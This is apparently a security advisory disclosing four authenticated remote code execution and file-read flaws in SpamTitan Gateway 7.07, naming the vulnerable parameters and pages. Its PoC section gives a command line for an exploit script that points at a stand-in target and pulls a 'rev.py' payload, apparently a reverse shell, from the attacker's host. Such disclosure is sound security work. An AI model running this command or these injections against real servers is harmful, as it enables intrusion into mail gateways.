---[SPUK-2020-09/SpamTitan 7.07 Multiple Authenticated Remote Code
Execution]------------------------------

SECURITY ADVISORY:   SPUK-2020-09/SpamTitan 7.07 Multiple
Authenticated Remote Code Execution
Affected Software:   SpamTitan Gateway 7.07 (possibly earlier versions)
Vulnerability:       Multiple Authenticated Remote Code Execution
CVSSv3:              8.7
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
Severity:            High
Release Date:        2020-09-18
CVEs:                CVE-2020-11699, CVE-2020-11700, CVE-2020-11803,
CVE-2020-11804


I. Background
~~~~~~~~~~~~~

From www.spamtitan.com:

"SpamTitan Gateway is a powerful Anti-Spam appliance that equips network
administrators with extensive tools to control mail flow and protect against
unwanted email and malware."


II. Description
~~~~~~~~~~~~~~~

Multiple authenticated remote code execution (RCE) vulnerabilities were found
on the SpamTitan Gateway 7.07 and probably in pervious versions:

* CVE-2020-11699: Improper validation of the parameter fname on the page
certs-x.php would allow an attacker to execute remote code on the
target server. The user has to be authenticated before interacting with
this page.
* CVE-2020-11700: Improper sanitization of the parameter fname, used on the page
certs-x.php, would allow an attacker to retrieve the contents of
arbitrary files. The user has to be
authenticated before interacting with this page.
* CVE-2020-11803: Improper sanitization of the parameter jaction when
interacting with
the page mailqueue.php could lead to PHP code evaluation server-side,
because the user-provided input is passed directly to the php eval()
function. The user has to be authenticated on the web platform before
interacting with the page.
* CVE-2020-11804: Due to improper sanitization of the parameter qid,
used in the page
mailqueue.php, code injection can occur. The input for this
parameter is provided directly by an authenticated user via an HTTP GET
request.


III. PoC
~~~~~~~~

Use python 3 and install the following modules before executing: requests.

If your IP is 192.168.1.5 and the target SpamTitan server is
spamtitan.example.com, call the PoC like this:
./multirce.py -t spamtitan.example.com -i 192.168.1.5 -m <EXPLOIT
NUMBER> -u <USER> -p <PASSWORD> -U http://192.168.1.5/rev.py

III. Impact
~~~~~~~~~~~

Loss of confidentiality, integrity and availability of several files in the
target server, as well as loss of availability of several services running
in the SpamTitan.
Confidentiality of critical system files, such as /etc/passwd or /etc/pwd.db
would be highly impacted.
